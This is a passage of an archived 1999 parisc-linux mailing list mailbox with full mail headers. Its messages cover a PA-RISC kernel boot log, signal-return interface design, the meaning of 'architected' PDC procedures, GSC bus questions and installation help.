exec_dsize: 0001D000
exec_dmem : C0078000
exec_tfile: 00030000
exec_tsize: 00067008
exec_tmem : C0010000
Code at 0x00010000, size=0x00067008
Data at 0x00078000, size=0x0001D000
BSS  at 0x00095000.

Transferring control to kernel. (At entry point 0x00010000)
TEST


The Kernel has started...
You are running a 120MHz PA-RISC-Machine with 512MB of RAM.
Free memory was at 0xC00B5F38 (=stackbase, stacksize=0x00040000).
Free memory now at 0xC00F5F38 and ends at 0x20000000.
Linux version 2.2.1 (root@grcdg306) (gcc version 2.8.1) #1
 Wed Aug 11 09:33:32 METDST 1999
command_line: <none>

Dino device driver, by Alan Cox and Alex deVries

*** then it stops here
If I notice any differences in future kernel builds I'll post the results as
well. Also if anybody has any more success with the J210s I'd like to know
what they did. I'm currently unable to build a kernel on my own machine
because of the lack of HP-UX.

I have older kernels which printed out more information if people need those
as well.


-- 
Steve Moret
smoret@uci.edu


From - Thu Nov 08 21:15:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sigsetreturn (was utssys?)
Date: 17 Aug 1999 12:54:24 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <m3so5iw5cf.fsf@localhost.localnet>
References: <199908171916.MAA24603@adlmail.cup.hp.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416619726 13263 80.91.229.3 (22 Nov 2014 01:28:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:46 +0000 (UTC)
Cc: "Matthew Wilcox" <Matthew.Wilcox@genedata.com>,
        <parisc-linux@thepuffingroup.com>
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: drepper@cygnus.com  Tue Aug 17 13:55:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA16685
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Aug 1999 13:55:34 -0600
Original-Received: (qmail 10979 invoked by uid 15267); 17 Aug 1999 19:56:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10971 invoked from network); 17 Aug 1999 19:56:59 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 17 Aug 1999 19:56:59 -0000
Original-Received: from otr.mynet (dhcp-sv-0F.cygnus.com [205.180.231.75])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id MAA13251;
	Tue, 17 Aug 1999 12:56:52 -0700 (PDT)
Original-Received: (from drepper@localhost) by otr.mynet (8.9.3/8.9.3/ud-990718) id MAA19178; Tue, 17 Aug 1999 12:54:24 -0700
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Cary Coutant's message of "Tue, 17 Aug 1999 12:20:07 -0700"
Original-Lines: 18
X-Mailer: Gnus v5.6.45/XEmacs 21.1 - "Big Bend"
Xref: news.gmane.org gmane.linux.ports.parisc:9809

Cary Coutant <cary@cup.hp.com> writes:

> Since the normal BV instruction used for returns can't branch across
> space boundaries, the signal handler can't return directly to kernel
> space, so the kernel needs to supply a return address in user space
> that will implement the restoration of the interrupted context. This
> return address is the sigreturn() system call, found in libc. In
> order for the kernel to know the address of sigreturn, it needs to
> be told in advance; that's what sigsetreturn() does.

This is what Linux uses the sa_restorer in `struct sigaction' for.  I
think it's a better interface then sigsetreturn() so consider
implementing it this way and not provide sigsetreturn.

-- 
---------------.      drepper at gnu.org  ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Cygnus Solutions `--' drepper at cygnus.com   `------------------------


From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 'architected'?
Date: Tue, 17 Aug 1999 17:06:38 -0400
Organization: The Puffin Group
Lines: 22
Approved: news@gmane.org
Message-ID: <37B9CEDE.9F09087E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619726 13265 80.91.229.3 (22 Nov 2014 01:28:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Tue Aug 17 14:50:09 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA17209
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Aug 1999 14:50:09 -0600
Original-Received: (qmail 24036 invoked by uid 15267); 17 Aug 1999 20:51:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24015 invoked from network); 17 Aug 1999 20:51:05 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 17 Aug 1999 20:51:05 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id RAA06925
	for <parisc-linux@thepuffingroup.com>; Tue, 17 Aug 1999 17:06:43 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9810


So, I've been rereading some docs lately, and am wondering what
'architected' really is.  

Here's an example, dug up by Dave Kennedy.  This is on page 3, under the
heading '2. PDC Procedures' in pdc.pdf:

"The architected operation of a module (including execution of a PDC)
must not require the use of any non-architected PDC procedures.  It must
also not require the use of any non-architected options in architected
PDC produces."

Can someone at HP clarify?

- Alex


-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sigsetreturn (was utssys?)
Date: Tue, 17 Aug 1999 14:46:34 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <199908172142.OAA29443@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619726 13269 80.91.229.3 (22 Nov 2014 01:28:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:46 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Ulrich Drepper" <drepper@cygnus.com>
Original-X-From: cary@cup.hp.com  Tue Aug 17 15:41:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA17582
	for <parisc-linux@puffin.external.hp.com>; Tue, 17 Aug 1999 15:41:25 -0600
Original-Received: (qmail 4697 invoked by uid 15267); 17 Aug 1999 21:42:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4690 invoked from network); 17 Aug 1999 21:42:52 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 17 Aug 1999 21:42:52 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA29696;
	Tue, 17 Aug 1999 14:42:45 -0700 (PDT)
Original-Received: from [15.0.97.82] (cc757591.cup.hp.com [15.0.97.82]) by adlmail.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA29443; Tue, 17 Aug 1999 14:42:43 -0700 (PDT)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:9811

>This is what Linux uses the sa_restorer in `struct sigaction' for.  I
>think it's a better interface then sigsetreturn() so consider
>implementing it this way and not provide sigsetreturn.

My Linux manual page for sigaction states that "the sa_restorer element 
is obsolete and should not be used."

Even if it's not obsolete, how would it be used? Is the programmer 
supposed to pass the address of sigreturn() (or equivalent) every time it 
calls sigaction, or is the first time sufficient? Either way, I don't see 
how this is a better interface than sigsetreturn().

Even better would be to dispense with a user-space sigreturn() 
completely. In shared-bound programs, where procedures return either with 
a long return sequence (LDSID, MTSP, BE) or via an export stub, the 
kernel could supply an address in kernel space, and the signal handlers 
would return correctly. This is the approach we take for 64-bit HP-UX, 
where we can assume PA-RISC 2.0 and the use of BVE for returns. This 
approach would also work for a flat address space.

Then the only challenge is to identify the interrupt marker on the stack 
correctly during a stack unwind. On 32-bit HP-UX today, this is done by 
setting a special flag in the stack unwind descriptor for sigreturn(). On 
64-bit HP-UX, the kernel passes the address of a tiny unwind table for 
sigreturn() at program startup, and the runtime loader treats this as if 
sigreturn() were in a shared object of its own.

-cary


From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'architected'?
Date: Wed, 18 Aug 1999 12:34:58 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <19990818183458.A35A818708@security.hp.com>
References: <37B9CEDE.9F09087E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619727 13272 80.91.229.3 (22 Nov 2014 01:28:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, lamont@security.hp.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: lamont@security.hp.com  Wed Aug 18 12:33:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA18748
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Aug 1999 12:33:42 -0600
Original-Received: (qmail 9347 invoked by uid 15267); 18 Aug 1999 18:35:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9334 invoked from network); 18 Aug 1999 18:35:07 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 18 Aug 1999 18:35:07 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id OAA24895;
	Wed, 18 Aug 1999 14:34:26 -0400 (EDT)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id A35A818708; Wed, 18 Aug 1999 12:34:58 -0600 (MDT)
In-reply-to: Your message of "Tue, 17 Aug 1999 17:06:38 EDT."
             <37B9CEDE.9F09087E@thepuffingroup.com> 
Content-ID: <23355.935001298.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9812

> So, I've been rereading some docs lately, and am wondering what
> 'architected' really is.  

> Here's an example, dug up by Dave Kennedy.  This is on page 3, under the
> heading '2. PDC Procedures' in pdc.pdf:

> "The architected operation of a module (including execution of a PDC)
> must not require the use of any non-architected PDC procedures.  It must
> also not require the use of any non-architected options in architected
> PDC produces."

I don't have the documents in front of me, so forgive me if I get a name
or 6 wrong...  The PDC Procedures Document (and anything with the same
cover page, such as the Generic Modules Document) comprise what used to
be called the "Architecture Control Document."  An "architected" thing
is discussed in those documents, un-architected things generally are not.
Just to make matters interesting, you will see mention in the documents
to SV (software version specific), and HV (hardware version specific)
features.

The paragraph you cite indicates that hardware (modules) cannot require
that an OS author perform HV PDC (arg0>=128) calls (or other funky stuff
like DIAG instructions, or poking magic addresses not spelled out in the
architecture document) in order to use the hardware in the system.  In
this case, "use" pretty much means anything that generic OS software
needs to do with the module to initialize it.  In other words, the bus
walk.

Sadly, certain hardware is not quite compliant with the architecture, in
that it violates the very paragraph you cite.  Most notably (from our
recent discussions), the bus walk of the 7[235]0 requires magic knowledge
of where things are and how to poke them nicely.

Does that help any?
lamont


From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'architected'?
Date: Wed, 18 Aug 1999 20:53:34 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <19990818205334.G5823@suse.de>
References: <37B9CEDE.9F09087E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619727 13274 80.91.229.3 (22 Nov 2014 01:28:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: prumpf@suse.de  Wed Aug 18 12:52:08 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA19028
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Aug 1999 12:52:08 -0600
Original-Received: (qmail 13714 invoked by uid 15267); 18 Aug 1999 18:53:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13697 invoked from network); 18 Aug 1999 18:53:36 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 18 Aug 1999 18:53:36 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 58FF832CD8; Wed, 18 Aug 1999 20:53:35 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 5082267AF; Wed, 18 Aug 1999 20:53:35 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 06FFA7F8B; Wed, 18 Aug 1999 20:53:35 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <37B9CEDE.9F09087E@thepuffingroup.com>; from Alex deVries on Tue, Aug 17, 1999 at 05:06:38PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9813

> So, I've been rereading some docs lately, and am wondering what
> 'architected' really is.  

Isn't the obvious meaning "defined by the architecture" as opposed to
implementation-specific ?

> "The architected operation of a module (including execution of a PDC)
> must not require the use of any non-architected PDC procedures.  It must
> also not require the use of any non-architected options in architected
> PDC produces."

"You don't have to do implementation-specific things unless you want to do
implementation-specific things", I guess.

	Philipp Rumpf


From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 'architected'?
Date: Wed, 18 Aug 1999 15:36:21 -0400
Organization: The Puffin Group
Lines: 17
Approved: news@gmane.org
Message-ID: <37BB0B35.34C8006B@thepuffingroup.com>
References: <37B9CEDE.9F09087E@thepuffingroup.com> <19990818205334.G5823@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619727 13276 80.91.229.3 (22 Nov 2014 01:28:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@suse.de>
Original-X-From: adevries@thepuffingroup.com  Wed Aug 18 13:19:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA19596
	for <parisc-linux@puffin.external.hp.com>; Wed, 18 Aug 1999 13:19:18 -0600
Original-Received: (qmail 20608 invoked by uid 15267); 18 Aug 1999 19:20:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20600 invoked from network); 18 Aug 1999 19:20:42 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 18 Aug 1999 19:20:42 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id PAA07256;
	Wed, 18 Aug 1999 15:36:22 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9814

Philipp Rumpf wrote:
> 
> > So, I've been rereading some docs lately, and am wondering what
> > 'architected' really is.
> 
> Isn't the obvious meaning "defined by the architecture" as opposed to
> implementation-specific ?

Sure.  But which architecture?  PA-RISC? The module's design?

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Some GSC questions for HP
Date: Sat, 21 Aug 1999 21:19:47 -0400
Organization: The Puffin Group
Lines: 30
Approved: news@gmane.org
Message-ID: <37BF5032.CADBAF8@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619728 13279 80.91.229.3 (22 Nov 2014 01:28:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sat Aug 21 19:03:21 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA32277
	for <parisc-linux@puffin.external.hp.com>; Sat, 21 Aug 1999 19:03:21 -0600
Original-Received: (qmail 4915 invoked by uid 15267); 22 Aug 1999 01:04:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4881 invoked from network); 22 Aug 1999 01:04:44 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 22 Aug 1999 01:04:44 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id VAA05895
	for <parisc-linux@thepuffingroup.com>; Sat, 21 Aug 1999 21:19:47 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9815


I have some questions about GSC.

1. 
First, I'm working with Dave Kennedy on some code that'll walk through
PDC to see all the devices on the box.  I'm using PDC_IODC to walk
through the devices.  This requires that I pass it an hpa, which
requires the bus id number.  Right now we just walk through all the
different busses to detect all the possible hardware.  

How are bus IDs assigned, and how can we read that?

2. 

On SMP PA 1.1 boxes, is there one GSC per CPU, or do all the CPUs share
the same GSC?

3. 

Does this concept of IOFlex work on non-GSC busses?

There's more coming.

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] static shell...
Date: Sun, 22 Aug 1999 03:25:27 -0400
Organization: The Puffin Group
Lines: 12
Approved: news@gmane.org
Message-ID: <37BFA5E7.EBD201CD@thepuffingroup.com>
References: <37BF5032.CADBAF8@thepuffingroup.com> <19990822031951.A19314@suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619728 13281 80.91.229.3 (22 Nov 2014 01:28:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sun Aug 22 01:08:29 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA32606
	for <parisc-linux@puffin.external.hp.com>; Sun, 22 Aug 1999 01:08:28 -0600
Original-Received: (qmail 15298 invoked by uid 15267); 22 Aug 1999 07:10:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15291 invoked from network); 22 Aug 1999 07:10:02 -0000
Original-Received: from sprite.puffingroup.com (HELO feather.thepuffingroup.com) (209.151.2.200)
  by mailserv2.iuinc.com with SMTP; 22 Aug 1999 07:10:02 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id DAA06122
	for <parisc-linux@thepuffingroup.com>; Sun, 22 Aug 1999 03:25:27 -0400
Original-Sender: adevries@thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.10 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9816

I've built a static sash binary, it's at:

ftp://puffin.external.hp.com/pub/src/sash-2.1-hpux.tar.gz

or similiar.

- Alex
-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <Matthew.Wilcox@genedata.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Signals
Date: Mon, 23 Aug 1999 09:57:57 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <19990823095757.H31994@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619728 13284 80.91.229.3 (22 Nov 2014 01:28:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Matthew.Wilcox@genedata.com  Mon Aug 23 01:56:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA01736
	for <parisc-linux@puffin.external.hp.com>; Mon, 23 Aug 1999 01:56:25 -0600
Original-Received: (qmail 23812 invoked by uid 15267); 23 Aug 1999 07:58:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23802 invoked from network); 23 Aug 1999 07:58:01 -0000
Original-Received: from mentolat-e0.core.genedata.com (HELO mail.core.genedata.com) (157.161.173.16)
  by mailserv2.iuinc.com with SMTP; 23 Aug 1999 07:58:01 -0000
Original-Received: from relay.ch.genedata.com (pinatubo-e0.ch.genedata.com [157.161.173.48])
	by mail.core.genedata.com (8.9.3/8.9.3) with ESMTP id JAA12446
	for <parisc-linux@thepuffingroup.com>; Mon, 23 Aug 1999 09:57:58 +0200
Original-Received: from mencheca.ch.genedata.com (root@mencheca.ch.genedata.com [157.161.173.82])
	by relay.ch.genedata.com (8.9.3/8.9.3) with ESMTP id JAA281543
	for <parisc-linux@thepuffingroup.com>; Mon, 23 Aug 1999 09:57:57 +0200 (CEST)
Original-Received: by genedata.com
	via sendmail from stdin
	id <m11IozN-00026iC@mencheca.ch.genedata.com> (Debian Smail3.2.0.102)
	for parisc-linux@thepuffingroup.com; Mon, 23 Aug 1999 09:57:57 +0200 (CEST) 
X-Mailer: Mutt 0.95.3i
Xref: news.gmane.org gmane.linux.ports.parisc:9817


Is anyone looking into the signal handling and delivery stuff right now?
This is one of the few remaining independent areas; your chance to become
an expert on Linux and HPUX signalling :-)

-- 
Matthew Wilcox <willy@bofh.ai> <willy@thepuffingroup.com>
"Windows and MacOS are products, contrived by engineers in the service of
specific companies. Unix, by contrast, is not so much a product as it is a
painstakingly compiled oral history of the hacker subculture." - N Stephenson


From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gerhard Klein <G.Klein@edelmann.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] latest files and HOWTO for installation
Date: Mon, 23 Aug 1999 10:22:52 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <37C104DC.FE5C324C@edelmann.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619728 13287 80.91.229.3 (22 Nov 2014 01:28:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:48 +0000 (UTC)
To: HP Linux <parisc-linux@thepuffingroup.com>
Original-X-From: G.Klein@edelmann.de  Mon Aug 23 02:21:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id CAA01932
	for <parisc-linux@puffin.external.hp.com>; Mon, 23 Aug 1999 02:21:30 -0600
Original-Received: (qmail 27083 invoked by uid 15267); 23 Aug 1999 08:23:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27076 invoked from network); 23 Aug 1999 08:23:05 -0000
Original-Received: from ns.edelmann.de (194.77.203.20)
  by mailserv2.iuinc.com with SMTP; 23 Aug 1999 08:23:05 -0000
Original-Received: (from mail@localhost) by ns.edelmann.de (8.8.8/8.6.9) id JAA16253 for <parisc-linux@thepuffingroup.com>; Mon, 23 Aug 1999 09:35:51 +0200
X-Authentication-Warning: ns.edelmann.de: mail set sender to <G.Klein@edelmann.de> using -f
Original-Received: from postbox.w1.edelmann.de(173.57.40.213) by ns.edelmann.de via smap (V1.3)
	id sma016249; Mon Aug 23 09:35:47 1999
Original-Received: from edelmann.de ([173.57.31.101] (may be forged)) by postbox.w1.edelmann.de (8.8.6 (PHNE_15509)/8.8.0) with ESMTP id KAA13472 for <parisc-linux@thepuffingroup.com>; Mon, 23 Aug 1999 10:22:59 +0200 (METDST)
X-Mailer: Mozilla 4.51 [de] (WinNT; I)
X-Accept-Language: de
Xref: news.gmane.org gmane.linux.ports.parisc:9818

Hello,

can anyone tell me where I will find the latest files and HOWTO for
installation of parisc linux.

Thanks


Gerhard

--
http://www.edelmann.de
mailto:G.Klein@edelmann.de
Phone: +49 7321 340 368
Fax:   +49 7321 340 363



From - Thu Nov 08 21:15:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Signals
Date: Mon, 23 Aug 1999 21:50:10 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <37C21672.2953E1C1@uswest.net>
References: <19990823095757.H31994@mencheca.ch.genedata.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619729 13289 80.91.229.3 (22 Nov 2014 01:28:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:28:49 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
